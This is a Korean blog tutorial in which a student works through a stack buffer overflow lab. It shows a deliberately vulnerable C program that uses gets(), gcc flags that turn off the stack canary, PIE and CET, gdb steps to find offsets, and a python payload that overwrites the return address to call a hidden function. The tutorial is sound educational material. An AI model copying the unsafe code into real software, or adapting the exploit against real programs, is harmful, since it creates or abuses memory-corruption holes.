취약점분석/Pwnable

[Pwnable] 스택 버퍼 오버플로우

poiri3r 2025. 6. 30. 14:47

안녕하세요 핵시움 예선 끝나고 돌아왔습니다. 이번시간에는 스택 버퍼 오버 플로우에 대해 학습해보겠습니다.

 

스택 버퍼 오버플로우(Stack Buffer Overflow)는 스택 영역에 있는 버퍼에 원래 정해진 용량보다 많은 데이터를 입력하여, 버퍼를 넘어 인접한 메모리 영역을 원하는 문자열로 덮어쓰는 취약점을 말합니다.

먼저 스택,버퍼에 관한 기본 개념부터 학습하고 가보겠습니다.

 

스택(Stack)

스택은 함수 호출 시 사용하는 메모리 영역입니다.

주소가 높은곳에서 낮은곳으로 자라는 특징과, LIFO(Last in, First Out)으로 나중에 들어온 데이터가 먼저 나가는 특징이 있습니다입니다. 쉽게 말해 2번사진을 보시면 1,2,3순서대로 쌓였지만 pop으로 데이터를 스택에서 꺼낼 때에는 3,2,1순으로 나온다는 의미입니다.

 

저번에 콜링 컨벤션을 포스팅할 때 함수의 리턴주소가 스택에 쌓인다고 했었습니다. 스택 버퍼 오버플로우에서는 이러한 리턴주소를 조작하는 방식으로 원하는 함수 흐름을 고칠 수 있습니다.

 

버퍼(Buffer)

일시적인 데이터 저장 공간으로 대부분 배열형태로 구현되며, 입출력, 통신, 메모리 처리 등에서 널리 쓰입니다.

스택 안에서도 지역 배열로 함수 호출시 char buf[32] 형식으로(로컬 변수) 생성됩니다.

버퍼에 관련된 함수는 다음과 같습니다.

함수 설명 위험성
gets() 개행 전까지 무제한 입력 매우 위험
strcpy() 길이 확인 없이 복사 자주 터짐
sprintf 포멧에 따라 넘침 x
scanf("%s, ...) 길이 제한 없으면 위험 x

 

이제 본격적으로 스택 오버플로우에 대해 살펴보겠습니다.

 

스택 오버플로우(Stack Overflow)

스택의 구조는 다음과 같습니다. 낮은주소부터 하나씩 쌓이게 됩니다. 저희가 값을 입력할 수 있는 buffer에 길이를 초과한 입력을 하게 되면 다른 버퍼에 입력된 값이나 값을 바꿀 수 있습니다. 값을 계속 입력하다보면 리턴 주소에 원하는 주소를 입력하여 함수의 흐름을 바꿀 수도 있습니다.

 

연습을 위해 다음과 같은 코드를 작성해주고 STO.C로 저장해두겠습니다.

#include <stdio.h>
#include <string.h>

void secret_function() {
    printf("Dustin Poiri3r");
}

void vulnerable_function() {
    char buffer[32];
    printf("입력: ");
    gets(buffer);  
}

int main() {
    vulnerable_function();
    printf("스택오버플로우 실패");
    return 0;
}

 

위의 코드에서 vulnerable_function()을 실행하는데, 저희의 목표는 코드가 정상흐름대로 진행되어 "스택오버플로우 실패"가 출력되는 것 대신에 함수의 리턴주소를 덮어서 secret_function이 실행되게 하는 것 입니다.

 

컴파일할 때 몇가지 특수 명령어가 필요한데 다음과 같습니다.

gcc -fno-stack-protector -z execstack -no-pie -o sto sto.c

-fno-stack-protector은 스택 카나리를 비활성화시키는 명령어입니다(스택 카나리는 리턴주소가 덮어지면 프로그램을 종료함)

-z execstack은 스택 실행 금지 우회입니다(기본적으로 스택은 데이터 영역이라 실행권한이 없음)

-no-pie는 pie 비활성화로 바이너리의 코드 섹션 주소가 고정됩니다(주소계산이 쉬워짐)

 

해당 경고창들이 뜨면 컴파일이 완료된것입니다.

 

먼저 스택오버플로우를 위해 바이너리 구조를 확인해야 합니다.

gdb를 켜서 sto를 확인해보겠습니다.

gdb ./sto

 

먼저 스택오버플로우를 발생시키고 싶은 vulnerable_funcion을 어셈으로 출력해 보겠습니다.

 

저희는 버퍼가 저장되는 상대위치를 알아내야 합니다. 

sub rsp, 0x20 // 스택포인터를 32바이트만큼 아래로 내림 
...
lea rax,[rbp-0x20] // rbp-0x20의 주소를 rax에 저장

 

위의 코드를 봤을 때, buffer[32]는 스택의 rbp - 0x20부터 시작함을 알 수 있음

-> 그러니까 buffer의 주소를 rax에 담음

 

버퍼의 시작점을 알아냈으면, 해당 함수의 리턴 주소를 알아내야합니다. 해당 코드는 64비트로 컴파일 되었으므로, rbp+8 (32비트의 경우 rbp+4)에 리턴주소가 저장되어있으므로 0x20(버퍼의 크기) + 0x08(리턴주소의 위치) 만큼 40바이트를 임의의 문자열로 덮어야 합니다.

 

그 다음으로 리턴주소를 덮어야 하므로 secret_function의 주소를 알아야합니다.

gdb에서 다음 명령어를 입력하면 주소값을 출력할 수 있습니다.

p &secret_function

print &secret_function입니다.

 

0x401156을 리틀 엔디안 형식으로 만들어야합니다.

64비트기 때문에 \x56\x11\x40\x00\x00\x00\x00\x00 이렇게 사용을 해주고 입력을 해주면 됩니다.

최종적으로 저희가 입력할 문자는

"A" * 40 + \x56\x11\x40\x00\x00\x00\x00\x00

 

이렇게 입력을 하면 실행했을 때 원하는 결과를 받을 수 있을것입니다.

하지만 저희가 wsl에서 /sto를 실행하고 입력을하면

원하는 결과를 받을 수 없습니다,.

직접 키보드로 \x를 입력하면 단순 문자열로 인식이 되기 때문에 해당 문자열을 입력할 때는 python을 통해서 입력해야 합니다.

그래서 항상 파이썬으로 페이로드를 생성한 뒤 |./sto 형식으로 전달해야합니다.

 

명령어는 다음과 같습니다.

python3 -c 'print("A"*40 + "\x56\x11\x40\x00\x00\x00\x00\x00")' | ./sto

 

python3 -c '' "는 파이썬 명령어를 한 줄로 직접 실행합니다.

|.sto 는 앞의 명령어를 표준 입력(stdin)으로 전달합니다.

 

 

를 했으면 출력이 되어야 했으나.. 출력이 안되서 조금 수정을 했습니다.

먼저 secret_function으로 진입을 하는 것 까지는 제대로 진행이 되었지만, 첫 명령어가ㅣ endbr64(intel CET 보호)여서

진입이 되었지만 endbr을 WSL에서 지원을 안해서 Illegal instruction (core dumped)가 나왔습니다.

gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none -g -o sto sto.c

 

그래서 컴파일할 때 -fcf-protection=none 옵션을 추가하여 endbr64를 제거하였습니다.

 

그 이후에는 Segmentation Fault 오류가 발생하였는데, 코드에 있던 printf가 rdi준비 없이 호출되어서 printf()가 잘못된 주소를 참고하였고 seg fault 오류가 발생하였습니다.

그래서 printf() 대신 write()를 사용해 레지스터 세팅 없이 동작하도록 수정하였습니다.

수정된 코드는 다음과 같습니다.

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void secret_function() {
    write(1, "Dustin Poiri3r\n", 16);
}

void vulnerable_function() {
    char buffer[32];
    printf("입력:\n ");
    gets(buffer);  
}

int main() {
    vulnerable_function();
    printf("스택오버플로우 실패");
    return 0;
}

 

코드가 조금 바뀌어서 secret_function의 주소가 변경되었고 그에 맞게 페이로드도 수정해주겠습니다.

python3 -c 'print("A"*40 + "\x4a\x11\x40\x00\x00\x00\x00\x00")' | ./sto

 

해당 코드 입력시 출력이 원활하게 되었습니다.

이렇게해서 스택 오버플로우에 대한 포스팅을 마치겠습니다.

이번에 핵시움 예선에 나갔는데 이론적인 부분이랑, 실제 코드를 주어지고 취약점을 찾아서 payload를 작성하는 게 조금 차이가 있다고 느꼈고, 리버싱문제들이 너무 어려워서 하나도 못풀었는데, 리버싱 뿐만 아니라 리버싱,포너블,웹해킹까지 다양한 분야의 문제를 찾아보고 다양한 기법의 페이로드를 작성해보는 게 중요하다는 것을 느꼈습니다. 

다음에 어떤 공부를 해서 포스팅을 할지는 잘 모르겠는데 다음에도 더 알찬 내용으로 포스팅을 해보겠습니다.

읽어주셔서 감사합니다~